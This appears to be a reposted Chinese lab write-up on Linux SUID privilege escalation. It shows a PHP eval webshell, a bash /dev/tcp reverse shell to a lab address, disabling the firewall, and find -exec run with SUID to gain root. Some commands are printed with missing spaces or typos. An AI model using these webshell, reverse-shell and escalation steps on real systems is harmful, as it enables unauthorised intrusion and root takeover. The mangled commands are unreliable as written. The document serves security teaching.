一、实验原理
1.Suid
suid:linux系统文件中除了读(r),写(w),执行(x)权限外,还有s和t这两个特殊的权限。 当s这个标志出现在文件所有者的x权限上时,此时就被称为SetUid(简称SUID)则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。
2.查找Suid命令
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
3.实验原理
普通用户在执行特殊的Suid命令的时候(如:find、vim、less、more等),命令会自动申请管理员权限,并以管理员的权限去执行命令,当用户在这种拥有可以再执行命令的命令下(如:vim)执行特殊命令(如:!\bin\bash),就会出现拥有当前申请到的管理员权限的命令终端,从而提权成功。
注:本实验是手动将find命令设置为Suid命令
chmod4755 /bin/find
二、实验流程
1.准备一个linux服务器,搭建web,部署一个php文件当中写一句话木马
<?phpeval($_POST["X"])?>//一句话木马
部署Web
写入一句话木马
开启服务
查看服务是否正常开启
在蚁剑上线,通过获取webshell的方式将权限通过反弹shell移交给自己的另一台服务器
3.再通过一次反弹shell移交给自己的服务器上
bash-i >& /dev/tcp/192.168.0.105/2323 0>&1//反弹shell命令
在另一台服务器上设置监听端口
反弹shell给此服务器上
3)出现报错
多次进行监听和反弹shell,蚁剑报错,服务器也无法接收反弹的shell
排查一:监听端口监听地址是否正确(无误)
排查二:防火墙是否关闭(已关闭)
ufw disable
排查三:查看/bin/sh指向(错误)
ls-al /bin/sh //查看/bin/sh指向
指向的dash,而蚁剑的反弹shell命令输入的是bash
解决方案:修改sh指向
ln-s-fbash /bin/sh
执行反弹shell命令,成功
在服务器上执行whoami
当前是一个普通用户权限
查找Suid命令
4.查看权限
执行find命令,查看是否获取管理员命令
find 当前目录下的文件 -exec whoami \;
注
此命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:
find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1文章来源地址https://www.toymoban.com/news/detail-778859.html
三、实验结果
成功获取root权限,本次实验提权成功。
四、实验总结
本次实验通过一句话木马<?php eval(&_post["A"])?>,使目标在中国蚁剑上线,再通过反弹shell命令 bash -i >& /dev/tcp/监听地址/监听端口 0>&1,将权限返回到服务器上,再执行find / -perm -u=s -type f 2>/dev/null命令,查看目标是否具有能够进行命令执行的Suid命令,发现存在,执行find 当前目录文件名 -exec whoami \; 查看权限是否提升为root用户,可进行再次反弹shell,进行权限提升。
注意一:反弹shell命令时,要注意目标是dash,还是bash或者其他
ls-al /bin/sh //查看命令
ln-s-fbash /bin/sh //修改成bash
注意二:在实验中要关闭防火墙,否则可能无法接收到监听信息
注意三:进行本实验前,要将find命令加入Suid命令中
chmod4755 /bin/find
注意四:find -exec命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:文章来源:https://www.toymoban.com/news/detail-778859.html
find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1
到了这里,关于Linux利用Suid提权实验的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!